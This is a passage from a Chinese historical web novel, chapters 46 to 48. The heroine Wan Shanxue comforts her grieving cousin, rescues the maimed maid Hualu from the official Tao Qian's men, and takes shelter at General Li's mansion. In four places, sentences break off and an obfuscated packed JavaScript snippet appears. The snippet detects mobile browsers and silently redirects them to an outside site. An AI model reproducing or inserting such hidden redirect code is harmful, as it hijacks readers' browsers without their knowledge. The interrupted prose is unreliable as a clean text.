“舅舅，舅母。”万山雪上前，规规矩矩地行了一个大礼，“外甥女今日前来，是代万家，代我那行事荒唐的妹妹，来向二老向雁歌妹妹请罪的。我对不住你们，对不住雁歌妹妹……” 千言万语堵在喉间，化作深深的愧疚，她再说不下去。 黄夫人起身快步走过来，一把将她揽住，哭着说道：“傻孩子，快起来，快起来！这如何能怪到你头上？是那起黑了心肝、没了廉耻的人作的孽，与你何干……” 两人抱头痛哭。 兰中正坐在那里，重重地、一声接一声地叹气，仿佛要将满腔的愤懑与失望都吐出来。 直到哭声渐止，他才摆了摆手，疲惫说道：“罢了，罢了……不说了。雁歌这两日好些了，待会儿过来撞见，又要难过。” 他像是突然想起了什么，命人从房里取出一封书信递向万山雪：“前两日收到江姑娘辗转送来的信，是给你的。江家那丫头心思缜密，想来是怕直接寄去崔府或是万府，于你两不便，寄到了我这里。” 江心澜的信！ 古朴的信封如同阴霾天空中骤然透出的一缕金色阳光，迸发出了明亮而温暖的光彩。 她向舅舅舅母告了声罪，小心翼翼地拆开了火漆封口。江心澜的字迹如本人一样，飞舞张扬，充满了生命力。 她如同快乐的小雀儿，向好友描述着沿途风景。给她讲一路向北，那凛冽干燥、吹得人脸颊生疼的劲风，给她描绘每个夜里，清澈高远的夜空中，一道铺开的璀璨明亮的星河，给她描绘遇见的美食与奇人异事…… 她也惦记着万山雪的惦记，笔锋一转，说黎将军对万山毓格外严厉，却也格外关照。不仅将他带在身边亲自教导武艺，闲暇时还会与他讲解兵书战策。 她说万山毓十分用心，进步神速，武艺精进不少，人也比在京城时黑瘦结实了许多，有两次累到极致悄悄抹眼泪，被她撞见了，想尽法子求她不要说出去，不愿丢了男子汉的风度。 万山雪看着看着，眼底也渐渐氤氲起一层薄薄的水汽。 弟弟安好，正在成长为一个顶天立地的男儿。母亲与乳母若是地下有知，亦会觉得欣慰吧。 她见舅舅舅母都一脸期待地看着她，便含笑将信纸递给舅母，黄夫人仔仔细细看完之后拭泪说道：“如此甚好，甚好。幸好你与这位江姑娘感情深厚，毓儿在那边的情况，咱们也好早点得信儿。” 万山雪说道：“还是因为舅舅舅母说情，不然毓儿万万进不了黎将军的队伍里。” 黄夫人诧异地看着兰中正道：“你去黎家说情了？” 兰中正亦是一头雾水：“不是你跟孙夫人说的情？” “雪儿说要历练毓儿一番，我便不曾提及。倒是黎家老太太大寿那一日，孙夫人主动与我问起毓儿有意参军之事，我说只听外甥女提过一嘴，还不闻其详。” 三人对了半天的账，都不曾说过，思来想去，只有一种可能，便是江心澜暗中出了大力，于是愈发感念起她的好来。 万山雪将信纸仔细按原折痕折好，贴身收藏在口袋中，起身说道：“我去看看妹妹。” 越靠近兰雁歌的屋子，空气中的药味便越浓重。 她的贴身丫鬟红着眼睛守在门外，见到万山雪，如同见了救星，连忙打起帘子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806969|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 兰雁歌如往常一样妆容齐整坐在窗边，边上堆着高高一摞子书，正拿着绷子绣一簇兰花。 几日不见，她原本圆润饱满的脸颊竟瘦削得露出了尖尖的下巴，脸色苍白得近乎透明，没有一丝血色。那双曾经灵动含笑的杏眼，此刻空洞而茫然，失去了所有的神采。 她看到万山雪进来，嘴唇翕动了一下，努力想扯出往常那样明媚的笑容来迎接表姐，但那弧度尚未成型，便已耷拉下来，显得比哭泣还要令人心酸。 “姐姐……”她低低地唤了一声，积蓄了多日的委屈伤心便如同决堤的洪水，再也无法抑制。 万山雪快步上前，将她紧紧搂入怀中。这个心碎的姑娘，似乎再也支撑不住，嚎啕大哭起来，仿佛要将五脏六腑都哭出来一般。 一旁的丫鬟将帕子递给万山雪，流着眼泪说道：“哭出来就好了。” 万山雪轻轻地抚摸着表妹因哭泣而剧烈颤抖的脊背，任由她将所有的痛苦委屈都发泄出来。温热的泪水很快浸湿了她肩头的衣衫，带来一片冰凉的湿意。 哭了不知多久，兰雁歌的哭声才渐渐转为断断续续的抽噎，她胡乱擦了擦满脸的泪痕，声音沙哑得厉害，勉强挤出一个笑容来：“姐姐别担心，我没事了。真的……哭过一场就好了。” 万山雪心疼得无以复加，不知道说什么好。 兰雁歌用力吸了吸鼻子，望向窗外灰蒙蒙的天空，轻声说道：“哥哥去得早，爹娘就我这么一个孩子了。我若是一直这样要死要活地消沉下去，岂不是在他们的心伤上又撒了一把盐？” 万山雪思忖片刻，拿出怀中那封尚带着体温的信，递给她看：“江姑娘写来的信，你看看。” 兰雁歌接过来读完，又忍不住看了一遍，叹道：“真是个奇女子。咱们都困于闺阁方寸之间，她却能抛下京城的安逸，远赴万里之外，去见识我们想都不敢想的广阔天地，去过一种截然不同的生活，真使我羡慕。可我又能走到哪里去呢？” 万山雪握住兰雁歌冰凉的手，目光恳切：“若是人人都如江姑娘一般生活，又成了另一个极端的盲从。我想说的是，人生并非只有后宅这四方院子，也并非只有相夫教子这一条路可走。你若愿意，也可以试着去找些真正喜欢的事情来做。无论是静下心来多读些书，还是拿起画笔，甚至去做些你想做却一直不敢尝试的事情，都好。总要让自己活得充实些，快活些。或许等我们走出一条路时，这些恩恩怨怨都不再如今日这般让我们痛断肝肠。” 姐妹二人就这样依偎在一起，说了很久很久的话。 直到夕阳的余晖透过窗棂，在房间地面投下长长的、昏黄的光影，暮色深处，兰雁歌沉沉地睡去了，万山雪才细心为她掖好被角，起身出去。 黄夫人在外面站着，看样子已经立了很久，见她出来轻声说道：“快跟我去吃些东西，饿坏了吧？” 46. 第 46 章 席间，兰中正夫妇极力挽留万山雪小住两日。 她推说崔明之这几日就要去东洋运铜，恐又有家宴，缺席了倒不好。待他去后，她就来多住些日子。 每到农闲之时，京城就会时常有玩杂耍的，因而夜幕将近，街市上比白日不减繁闹，反而愈加挤挤攘攘，热闹非凡。到了街市上，万山雪借口说逛完街要回万家住，让崔家车夫自行回去了。 橘霜不解问道：“此事凶险，奶奶为何不说明真相，好借舅老爷之力帮忙呢？” 万山雪默然片刻说道：“一来，我心里有愧。” 她一想到那日在黎家更衣时，分明听到那些女子们羡慕的话，却没当回事，若是当时能警醒些，早点留意万山绣，兴许就能免了这出事。 红璎说道：“奶奶又不是神仙，谁能未卜先知？” “倒也不全是为这些。眼下事情尚未闹明白，早早将他们拉进来，不过是徒增烦恼罢了。再者，倘若我的猜测为真，在如今的形势之下，相比起来，花露想要会面之心只会比我更切。若是人多势众，她生出畏惧之意，反而误事。” 深秋的风卷着落叶，扫过长街青石板，主仆三人踩着叶子，并肩走了将近半个时辰，买了一包袱物事，都有些乏了，红璎环顾四周道：“离宵禁时间只半个时辰了，趁着这会子好雇车，奶奶还是快走吧。” 万山雪眨眨眼睛说道：“今日只怕是回不去了，怕不怕？来，一人一把，拿着防身。” 是一模一样的小巧匕首，比男子用的短三分，末端缀着一颗玲珑空心银熏球，里面储存着些许金疮药粉，拧开即可取药。 红璎喜欢得不得了，拿在手上细细把玩，说道：“奶奶何处得来？我怎么从未见过？” 万山雪让她们凑近些，低声说道：“崔家库房。” 三人对视一眼，一阵惊愕，随即又笑了起来。 橘霜心疼道：“奶奶从前是那样不知愁的人，而今却考虑得事事周全，真叫我不好受。” 万山雪拍了拍她的后背，没有说话。这时有一个裹着黑色披风的人走过，不知掉落了什么东西，只听咕噜一声，只见那人脚步一顿，却没有回头。红璎尚在低头寻找，万山雪已经当机立断跟了上去。 那人走得不快，像是怕她们跟丢了似的。走走转转，最后转入一条僻静窄巷，这条窄巷藏匿在京城繁华的背后，墙根生着滑腻的青苔，散发出潮湿的霉味和隐约的尿骚味儿。 直走到底，是一座破旧的小院，站在门外便可闻见一股潮湿的霉味和药气。 橘霜一把拉住万山雪，率先迈进去：“我确认无事了你们再进来。” 前面那人已经除去了斗篷，提着一破损的灯走过来为她们照路。纵然有心理准备，借着灯光瞧见那人的面目时，万山雪还是忍不住往后退了两步。 她的脸上交错着几道狰狞疤痕，有一道从额角斜劈至下颌，毁去了大半容颜。 最刺目的是她的右手，只剩下拇指和缺了一关节的食指，其余三指齐根而断。 主仆三人随着她进了屋子，将门掩严实，万山雪拉起那只残手，见切口粗糙不平，像是被人用钝器生生砸断的。 当年那些字迹隽秀的信笺，那些令她春心萌动、最终嫁入冰冷婚姻的笔迹，就是这只手一笔一画模仿出来的。 只是当时还完好。 “你还能写字么？”万山雪轻声问道，从袖中取出纸笔，“你在找我？” 花露盯着笔墨，眼中滚下泪来。 她点点头，用仅存的两指夹住笔，在纸上划出歪扭字迹：我要报仇。 万山雪且先不答，环视四周，漏风的窗，墙皮斑斑驳驳脱落大半，露出发黑的土坯。老鼠在梁上横蹿，一张瘸了腿的桌子上摆着半块馒头，已经长出了绿霉。 人都说由俭入奢易，由奢入俭难，万家生活虽不说多么富裕，像花露这样得脸的丫头轻易连粗活都不碰的，比寻常人家的小姐还要娇养些。不知这样辛苦的日子，她如何捱过来的。 万山雪示意橘霜将买来的食物都给她，待她颤抖着双手狼吞虎咽，将大半东西都塞进肚子里去，长长地舒了一口气，歪在地上，才说道：“说吧，你找我，想我为你做什么？” 她在纸上歪歪扭扭写道：他们骗我，抢孩子，毁容，毁手，我要把兰芬陶谦所做之事昭告天下。 她写完用残指轻轻摸了摸“孩子”二字，眼泪扑簌簌地落了下来。 万山雪静静看着那团模糊的泪墨。许久，她伸手按住那张纸说道：“我可以帮你。孩子在哪儿？” 花露泣不成声写道：陶谦家里，他欺我无知说带孩子回去先请正妻同意，再接我…… 这下全都解释通了。 万山雪是知道的，陶谦乃相府长史，与万有善交好，家中妾侍不少，所生皆为女儿。年过半百无子，每每提起便是一脸的不如意。今年春日突然听说正妻得了个儿子，她还曾见兰芬忙慌慌准备贺礼，却不料是从花露这儿抢去的。 “陶谦有三处住宅，常居何处，你可知道？” 花露写下那个地址，万山雪莫名觉得眼熟，她下意识摸向江心澜送给她的那块玉佩，顿时如醍醐灌顶，可不正是跟江府临近的位置！ 她对红璎和橘霜吩咐一番，待她俩出去了，这才蹲下身直直地看着花露的眼睛：“你今日惊动秋禾，以兰芬心性，决计不会放过你。我在陶宅附近给你寻一处安稳的住宅住下，纵然难见孩儿面，离近些总也是个安慰。” 花露猛地站起身来，似是难以相信。 “我会找可靠的大夫给你诊治，你只管养好身子，衣食住行都由我来承担。”万山雪看着她的眼睛，转了语气，“可是丑话我要说前头，从前种种我可以谅你身不由己，可往后你若再对我耍花招，这条命我是留不得你的。” 她起身，从怀中取出一袋银子放在她那只未伤的手里，又从包袱里拿出一包还温热的桂花糖饼：“受了这样多的磨难，心里一定很苦吧，吃点儿甜的。” 花露盯着那包糖饼，忽然将整个身子伏下去，额头抵着冰冷的地面，残缺的肩膀剧烈抖动，却发不出一点哭声。只有压抑的、野兽般的呜咽从喉咙深处挤出来。 许久，她在纸上写道：誓死报答姑娘大恩。 万山雪扶着她的肩膀说道：“我不需要你报答，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811501|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你记住，从今往后，你的命是我的。我要你活下来，好好看着那些欠了你我的人，会怎样一笔一笔还债。” 花露流着泪一个劲儿地叩头，又慌忙起身要拿纸笔写字，被万山雪阻止：“不急一时，逃出这里是正经。你好好养养，有力气了慢慢写，把所有知道的都告诉我。” 这时候两个丫鬟回来了，红璎从包袱里取出一套衣裳，上衣是绛紫色暗八仙纹织锦缎对襟薄棉衣，下裙则是月白色百褶裙绣着几簇墨菊，里衣鞋子钗环一应俱全，两人一同帮花露打扮好，又戴上面纱，只露出眼睛来。 一眼望去，就是亭亭玉立的大家闺秀，任谁也不会将她与昨日那个疯女子联系起来。 橘霜轻声道：“车子雇好了，在百安堂药铺前面候着。我瞧见街上有些人虽没有穿官服，可是来来往往的四处审视打量，心里突突直跳，不知咱们是否能够顺利出去。” 万山雪扭头瞧见花露眼神里有瑟缩之意，说道：“莫怕，你与我挽着手，假装是表姊妹。别人问话都由我来说，你就垂着头不吱声就是了。” 出巷子那一段都很顺利，四人分作两排，肩并肩说着闲话，外人看去只道是闲游逛街的富家女子，并无人查验。 好容易到了马车旁，就在万山雪暗暗呼了一口气，正要将花露推上车时，突然听到一阵急促的马蹄声。 转眼间，一二十个衙役打扮的人涌了过来，为首的那个班头留着山羊胡子，腰间挎刀：“封锁两头，搜查逃犯！凡奔跑者一律以逃犯处置！” 此话一出人群骚动起来，却没有一个敢挪步的。 花露不受控地浑身颤抖着，甚至能听到她牙齿咯咯相撞的声音，万山雪将她推上车子低声说道：“死过几回的人了，还怕什么！咬牙挺住了，闯过这一关，才有机会为你沉冤昭雪，抱回你的孩儿。否则，你就等着化作一缕冤魂，听你的儿子喊别人娘亲吧。” 随后又将红璎推上去：“见机行事。” 有胆大的男子上前问道：“官爷，这是出了什么事？” “府衙逃犯，女的盗窃官银，男的拒捕伤人！”那班头抖开画像，“都看仔细了，若有线索，重重有赏！” 假借追捕逃犯之名，行搜查灭口之实。这会子越是慌张，越容易引起注意，万山雪并不急着上轿子，她按了按花露的手背，对轿夫说：“且等一等，官事为大。” 那轿夫得了足额小费，乐得看会儿热闹，也并不计较，看着那些衙役们挨个儿地搜着往这边过来，万山雪只觉得一颗心都提到了嗓子眼儿。 那班头走过来大喝一声：“什么人，从何处来，往何处去？” 万山雪正要答话，忽然瞧见他身后有一队人马正朝着这边走来，为首的那个人，居然是陶谦。 好歹也是个六品官，这会子亲自带着人出来抓捕，看来是真等不及要杀人灭口了。 万山雪越过那班头，向后面招呼道：“敢问是陶大人么？呀，真是陶伯伯，我方才瞧着就像您，只是天色晚了没敢认。” 陶谦缓步走过来，见是万山雪，冷峻的面容带了些许柔和说道：“夜深了，侄女这是要去哪儿？我叫人送你。” 47. 第 47 章 万山雪朝着马车指了指：“送我兰家表妹回家。” 陶谦的目光停留在马车上，没有接话。 万山雪走近两步低声道：“舍下的丑闻想必伯伯已经知道了，连日来表妹不吃不喝几乎脱了人形，我奉家母之命去看望表妹，带她出来散散心，这会子晚了送她回去。” 陶谦颔首不语，又朝着马车走近两步。 她装作恍然大悟的样子说道：“是了，秉公办事。雁歌妹妹，这位是陶伯伯，相府长史官，奉命追查逃犯。都是自家人，见面不妨事的。你下来与大人说句话，也好让人家交差。” 说着就要上前掀帘子。 这时红璎在里面气哼哼说道：“表姐你糊涂，这么多官兵，随意见外男成何体统。再说我眼睛哭得这副模样，又怎能见长辈？陶大人，请见谅吧。” 陶谦带了一丝笑意说道：“你这孩子，自家人客气什么。你姊妹快回去吧，改日我到府上向兰大人赔罪。” 万山雪又寒暄两句，这才携橘霜上了车。 车夫见是官家亲戚，不敢怠慢，将车子驾得四平八稳的，生怕颠了尊贵的客人，倒也合着万山雪的心意，免得叫陶谦看出不对来。 待出了主街之后，万山雪催促车夫道：“往武安巷江家绕去，要快，最快速度。” 哪知那车夫说道：“这可不行，快到宵禁时间了，这样子狂奔，便不是坏人，官爷赏我几鞭子，也够受的。” 万山雪拿出一锭银子给他。 那车夫喜笑颜开接过去：“夫人给的不少，我便尽快些吧。” 虽这般说，实则速度比刚才快不了多少，红璎是个急性子，见再三催促无效，伸手过去用匕首抵住了车夫的脖颈：“你也知道给的不少，就拿着钱赶紧走。” 万山雪不料会有此变，待要阻拦已来不及了，车夫胆子小，连滚带爬下了马。她忧心若是那车夫回去禀告，陶谦带着人马追来也只在片刻之间，只怕就要露馅儿。 红璎跳上车去策马疾行，嘚嘚的马蹄声在夜里听来格外令人心惊肉跳。 几人默默无言，却都听得到对方的恐惧在疯狂叫嚣。 好容易转进了武安巷，身后又传来了一阵叫嚷声，红璎愈发不敢耽搁，将马儿催得没命狂奔。 偏这巷子是两头通的，从那头又来了一队人马，进不能进退不能退，红璎回头咬牙说道：“抓紧了，我要冲过去。” 万山雪见对面那伙人的后面仍有人不断往这边来。忙制止道：“不可，硬闯非但不能成功，若有死伤则又添一重罪名。快停下来，见招拆招。” 虽是如此说，她心里半分把握也没有，暗暗将那匕首掏出来捏得紧紧的。 前后都是十几个带刀卫士拦在道中，火把的光芒跳跃着，如同可怖的鬼火。 后面的人慢慢走了上来，为首的却是方才站在陶谦身后的男子，一双三角眼，正阴鸷地扫视着她们。 “所有人，下车接受查验！” 红璎赔着笑下车：“官爷，我们夫人是方才跟陶大人……” “管你什么夫人，下车！”三角眼呼喝一声，大步走到车前，伸手就要扯帘子。 万山雪按住橘霜与花露，掀帘下了车，她站得笔直，面容沉静：“这位官爷，不知出了何事，方才已经查验过，这会子为何要拦着我们？” 三角眼冷笑一声：“方才查验过？夫人记性恐怕不大好吧。还有，兰家在城西，夫人怎么跑到东城来了？” 万山雪稳住心神，不慌不忙说道：“倒不是迷了路，走到一半，忽地想起来江姑娘写信说，有两样赠我的东西落在了黎府，我乃深宅妇人，难得出来一趟，想着一并办妥省事儿。因宵禁时间快到了，不敢耽误。信件在此，大人若是不信，打开来看便是。” 她知道这个理由太过牵强，对方根本不会信，一面说着话，一面隔着帘子将江心澜给的那块玉佩塞在橘霜手里。 身后就是黎将军府上，此去江家不远，便是到不了，也要拼一把，将声势闹得越大越好，水落了不信石头还有处藏身。 三角眼呵呵一笑道：“夫人这话，留着去跟陶大人慢慢解释吧，给我搜！” 万山雪挡在前面一动不动：“官爷如此尽心公务，实在令人敬佩，只是不知，大人可有搜查文书？深夜拦路盘查女眷，若无文书，只怕于情于理都说不过去，明日传出去，知道的说是您尽忠职守，不知道的，说您假公济私，亵渎朝廷命官女眷，倒是不大好呢！” 她拿准了陶谦捏造谎言出来搜查，必然没有正规文书。 三角眼脸上的笑容消失殆尽，他一步一步逼近万山雪，两人在夜色中对峙。 就在僵持不下时，只听身后有门吱呀一声开了，回望过去，有黎家家丁模样的人出来喊道：“敢问是崔夫人么？大太太得了夫人口信，从晚膳时分直等到这会子，夫人快进来吧。” 红璎趁机将车子往前赶两步，正对着黎家门口。三角眼一面呵斥，一面大步跨到了车门边，就去掀帘子。 “慢着！” 坐在轮椅上的黎玄出现在门口，声音虽不高，却极有分量。他目光扫过之处，如闪电一般，不怒自威。 三角眼看清楚是黎玄，恭恭敬敬行了个礼：“黎老将军，在下乃陶府管家，奉陶大人之命捉拿逃犯，扰了老将军休息，死罪死罪。” 黎玄冷冷一笑：“病朽之体，久离朝堂，我竟不知这京畿巡防值守，已经轮到陶大人的家丁指手画脚了。” 三角眼连声道歉：“老将军息怒……” “既然是公务，就公事公办，我在这儿等着，你派手下去拿搜查文书。人，我拿项上这颗脑袋给你担保着。” 话音才落，就有下人搬了凳子出来给三角眼和万山雪等人。 三角眼连连告罪：“老将军说笑了，既有老将军作保，小的还有何不放心的？小的的确不知车里都是女眷，若不然，给小的十个胆子也不敢放肆。扰了老将军休息，万死万死。” 说着呼呼啦啦收了兵，又不死心地往车上使劲盯了一眼，这才离开。 马车驶入将军府的侧门，轮轴碾过青石甬道的声响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819351|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听在耳朵里都那样温暖，令人心安。门在车后缓缓合拢，发出沉重的“咔哒”声。外头深秋的肃杀与惊惶，被彻底隔绝。 早有管事婆子得了信，提着灯笼，安静恭敬地引路，目不斜视，无半分窥探之意。 待到了正厅，孙夫人已经在正厅相迎。 才分主宾坐定，屏退了左右，万山雪噗通一声跪下，以头触地：“多谢老将军，多谢夫人。” 橘霜、红璎与花露亦齐刷刷跪成一排。 黎玄不语，严肃地看着她们：“兰家那女儿我认得的，她们是谁？从实说来，若是那起子人为非作歹，我自然为你们撑腰。可你们若是做了错事，我这将军府是包庇不得的。” 孙夫人扶起万山雪，温声说道：“手这样凉，都起来，坐下喝杯热茶，慢慢说来。” 万山雪方才经历生死凶险，一直强撑着的镇定裂开一丝缝隙，露出底下深藏的疲惫与后怕。 这会子见黎玄严厉中透着关心，孙夫人面容清润，一双眼睛慈和极了，真有如受委屈的孩子乍然见了父母一般，欲语泪先流。 热茶入喉，一路暖到胃里，连带着紧绷的神经也稍稍松弛。 “老将军，夫人，”她放下茶盏，声音有些低哑，“此事原是家丑，说来话长，也……颇为不堪。” 她看了一眼身旁渐渐停止发抖、却依旧死死低着头的花露，轻轻握了握她的手，从头至尾将继母指使花露伪造信件、散播流言致使她嫁入崔家，到后来花露被驱逐，产子被夺，后来兰芬陶谦勾结企图杀害花露，以及今日假借查刺客实为灭口之事，一一说了出来。 而后又道：“我乳母去时，有懂医的香客说有中毒迹象，我怕打草惊蛇，又因私心恐连累弟弟，不曾验证，如今各种迹象都指明下毒之人乃是继母兰芬。” 她话音才落，花露便猛然点头，呜呜啦啦急着要纸笔。 万山雪伸手替她轻轻除了面纱，露出骇人的疤痕来，孙夫人不由得倒吸一口凉气。 黎玄亦握紧了轮椅扶手：“好一个毒如蛇蝎的妇人！好一个道貌岸然的衣冠禽兽！” 孙夫人走下来，细细地看了花露脸上的疤痕，又拿起她的断指看了看，怜惜说道：“这孩子，受了多少苦啊。” 花露浑身一震，她张了张嘴，发不出声音，眼泪却大颗大颗滚落下来。 “方才，我原是打算将花露送到江家去避避风头，不料被陶谦的人堵死了，若非老将军出手相救，只怕我们主仆几人，这会子已经被捉拿走了。”万山雪说道，“待会儿烦请老将军和夫人多收留花露片刻，我先去江府说明白，再送她过去，免得又出岔子。” 孙夫人与黎玄对视一眼说道：“心澜家里自然是好，可多年来他们不在家，老的老了，新添的人手难保就齐心。故而澜儿回来，我总是令她住在这里。依我说，不如就让这丫头住在我们这儿。任他姓陶姓瓦，手是伸不进来的。” 万山雪受宠若惊，无论如何也料不到没有什么交集的黎家会说出这番话，却又不愿意给他们添麻烦，说什么也不同意。 48. 第 48 章 黎玄说道：“客气什么。你别看我们家里虽尽是些老弱病残，可是仗着祖辈功劳和在外征战的偃松，自问还护得住一个弱女子。东南角有个安静的小跨院，平日少人走动，叫人收拾出来，让这姑娘安心住下养身体。” 他顿了顿，看向万山雪，语气不容商量，“你三人今晚也留下，明日外头风声息了再走不迟。” 孙夫人也道：“是啊，明儿我找靠得住的大夫给她好生诊治一番，要跟恶人缠斗，身子是本钱啊！” 万山雪鼻尖一酸，眼泪滚滚而下。 这些日子以来，为查明真相，她暗中周旋心力交瘁，面上还要应付婆家娘家，此刻在这般毫无保留的庇护与温暖面前，强撑的坚强溃不成军。 她起身，郑重行下礼去， 被孙夫人一把扶住，嗔怪道：“你这孩子，客套起来没完没了的。” 花露忽然挣扎着从椅子上滑跪下来，对着黎玄和孙夫人分别磕了头，又膝行到万山雪身旁，叩头不止。 众人都明白她的意思。 孙夫人叹道：“知错能改，善莫大焉，好好休养休养，再将你所知道的，都写出来。” 夜深了，可万山雪经此惊吓毫无睡意，她起身去花露住的屋子里，见陈设简朴却一应俱全。派来照顾她的两个婆子手脚麻利，言语不多，十分细心周到。旁边还放着煎好的安神汤药。 花露沐浴后，连脸上的疤痕也不再那样触目惊心，万山雪看着她躺在柔软舒适的被褥里，却大睁着眼睛，似乎难以置信眼前的安全。 她轻轻地拍了拍说道：“安心睡吧，过往都是一场噩梦，以后有我管你，莫怕。” 陪着坐了许久，见花露实在支持不住，慢慢睡去了。她才轻手轻脚地关了门走出来。远远传来巡夜人规律而沉稳的梆子声，一声一声，敲在心上，是前所未有的踏实。 深秋的夜空高远，繁星点点。将军府的庭院里，廊下灯笼在微风中轻轻摇曳，光影静谧。 她知道，孙夫人说的很对，只有在这里，花露才能真正喘口气，养好身子，而后拿笔蘸着血泪，写下所有真相。 她住的屋子，是黎家专门留给江心澜住的，踏进门来倍觉亲切。 架子上放着许多书籍，她毫无倦意，便随手抽了一本歪在床上看，是一本关于兵书战策的。 原要换一本，却想起江心澜说开卷有益、涉猎要广的话，便一页页翻过去，竟是越读越有趣味，丝毫不觉枯燥。 忽然瞧见底下有一行字，虽稍显稚嫩，却颇有风骨：桃李不言，下自成蹊，将者当如是，恩威并重，士卒方肯真心效力。 再往后翻，那一页讲的将者须知天象，下面批注：今夜观星，北斗明灿。为将者须明辨方向，不止于行军，亦在立身处世。 字迹力透纸背，书写着少年人特有的灼热抱负。 她如梦初醒，这才恍然意识到，这些都是黎偃松年少时读书所记的心得，不觉有些赧然，偶然窥见了旁人私密，正欲合上放回，又忍不住再往下翻了几页。 没有风花雪月，没有伤春悲秋，笔下都是如何锤炼自己、承担责任的思考。那些字句，赤诚得烫手，充满了向阳而生的蓬勃。 万山雪一页一页看下去，不觉坐直了身子，心神完全被手中这本记载着少年心事的兵书给吸引住了。 一种极其复杂的情感，渐渐湮没了她。 先是钦佩，清正昂扬的少年心志，如璞玉未经雕琢已显光华。随即而来的，是一种深切的惘然，丝丝缕缕，浸透心扉。 她不由自主地想起自己。在同样年少的时候，她在学什么？ 在背《女诫》《内训》，在学习如何低眉顺眼，如何举动婉顺，如何侍奉翁姑、取悦夫君。 母亲早逝，无人为她规划另一种人生可能。 不，乳母因她厌弃读书识字，不知苦口婆心劝诫过多少次。 “艺多不压身，将来嫁给谁或许是命，多学些立身本领总会给你带来好运”，这是春草对她说过最多的话。 只是当时入不得她耳。 她读过的诗词，最多不过是些闺怨愁思；所有的才智与心思，最终都被引导向一个目标——觅得一门好亲事，而后在另一个庭院里，继续重复母亲、祖母乃至天底下大多数女性都在走的路。 她曾经以为，那就是女子全部的天空。 所以遇到崔明之，收着那些痴情信，她便义无反顾地嫁了，最终却落入那样不堪的泥淖，挣扎得满身污秽，心冷如灰。 而今细想，便是没有崔明之，不见得她的婚姻就会美满，满心满眼都在夫君婆家人身上，悲喜全由别人牵着走，谈何幸福？ 若她从小读的不是“女子无才便是德”，而是“天下兴亡，匹夫有责”呢？若她学的不是如何用美貌和算计笼络夫君，而是如何用笔用剑、用头脑去认识这广阔的世界，去实现属于自己的价值呢？ 是不是……就不会把全部的喜怒哀乐、身家性命，都孤注一掷地系于一个“良人”身上？ 就算所遇非人，也不至于那般绝望无助，至少，还有别的路可以走，还有自身的力量可以依仗。 她眼前的字迹渐渐有些模糊。 少年郎笔下的“家国”、“责任”、“抱负”，每一个词都像一面澄澈的镜子，映照出她过往人生被无形框定的狭窄与苍白。 她合上笔记，指尖轻轻抚过那粗糙的封面。 这才瞧见底下有一行极小的字，墨色已淡：愿以此身长报国，何须生入玉门关——录古人句以自勉。 何等气魄，何等胸怀。而这份家国情怀，似乎天生就被认定与闺阁女子无缘。 谁人规定的？ 在睡梦里，她看着一粒蛰伏已久的种子，渐渐冲破泥土阻碍，终成参天大树。 次日清早，孙夫人将府里丫头打扮成昨日花露的装饰，又带万山雪主仆三人一道去了兰府，将戏做了全套。 兰中正夫妇得知全貌，自是对孙夫人感激不尽，亦是后怕极了，责备万山雪：“你也太大胆了，瞒着我们带着俩丫头就去了。万一出了事可怎么好？那起子心狠手辣的背地下了毒手，还容你奔命么？” 她回想起来亦是心有余悸：“真个的，若非老将军恰好晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822411|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归，因听见外面喧闹停留片刻，这会只怕小命都没了。” 孙夫人说道：“可见老话总是不错，苍天有眼，这事儿终究要闹个水落石出，我们也算为她们洗冤出一份力，与有荣焉。” 好端端的，给人添了麻烦，连兰家亦觉得过意不去。可是几人商议盘算良久，眼下花露在将军府确是最稳妥的法子，也只好往后再图报答了。 待回到崔府时，已是暮色四合，华灯初上。 府门前的石狮在灯笼的映照下，投下巨大而摇曳的影子，平添了几分森然。万山雪刚下马车，便觉得府内的气氛与往日不同，隐隐透着一股刻意营造的热闹喧嚣。 远远就瞧见卫婆子候在二门处，见到万山雪，脸上堆满了笑意，快步迎了上来：“二奶奶可算回来了！太太命我来看几遍了，就等您回来开宴了！” 